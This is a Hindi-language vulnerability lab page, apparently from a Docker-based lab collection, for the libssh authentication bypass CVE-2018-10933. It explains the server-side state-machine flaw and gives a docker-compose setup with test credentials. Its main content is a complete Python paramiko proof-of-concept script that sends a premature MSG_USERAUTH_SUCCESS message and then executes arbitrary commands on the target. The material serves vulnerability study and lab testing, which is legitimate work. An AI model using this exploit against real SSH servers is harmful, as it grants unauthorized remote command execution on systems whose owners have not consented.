
प्रमाण-अवधारणा शोषण CVE-2018-10933 के लिए, MSG_USERAUTH_SUCCESS इंजेक्शन के माध्यम से SSH प्रमाणीकरण बायपास प्रदर्शित करता है। इसमें डॉकर सेटअप और दूरस्थ कमांड निष्पादन के लिए पायथन स्क्रिप्ट शामिल हैं।
libssh एक मल्टीप्लेटफॉर्म C लाइब्रेरी है जो क्लाइंट और सर्वर साइड पर SSHv2 प्रोटोकॉल को लागू करती है। libssh के सर्वर-साइड स्टेट मशीन में एक तर्क भेद्यता पाई गई। हमलावर प्रमाणीकरण सफल होने से पहले MSG_USERAUTH_SUCCESS संदेश भेज सकता है। इससे प्रमाणीकरण को बायपास किया जा सकता है और लक्ष्य SSH सर्वर तक पहुंच प्राप्त की जा सकती है।
संदर्भ:
वातावरण प्रारंभ करें:
docker-compose up -d
वातावरण प्रारंभ होने के बाद, हम your-ip:2222 पोर्ट से कनेक्ट कर सकते हैं (खाता पासवर्ड: myuser:mypassword), जो एक वैध ssh लॉगिन है:

https://www.seebug.org/vuldb/ssvid-97614 में दिए गए POC का हवाला देते हुए, हम भेद्यता को साबित करने के लिए निम्नलिखित स्क्रिप्ट का उपयोग कर सकते हैं।
#!/usr/bin/env python3
import sys
import paramiko
import socket
import logging
logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
bufsize = 2048
def execute(hostname, port, command):
sock = socket.socket()
try:
sock.connect((hostname, int(port)))
message = paramiko.message.Message()
transport = paramiko.transport.Transport(sock)
transport.start_client()
message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
transport._send_message(message)
client = transport.open_session(timeout=10)
client.exec_command(command)
# stdin = client.makefile("wb", bufsize)
stdout = client.makefile("rb", bufsize)
stderr = client.makefile_stderr("rb", bufsize)
output = stdout.read()
error = stderr.read()
stdout.close()
stderr.close()
return (output+error).decode()
except paramiko.SSHException as e:
logging.exception(e)
logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")
except socket.error:
logging.debug("Unable to connect.")
return None
if __name__ == '__main__':
print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))
आप लक्ष्य सर्वर पर निम्नानुसार मनमाने कमांड निष्पादित कर सकते हैं:
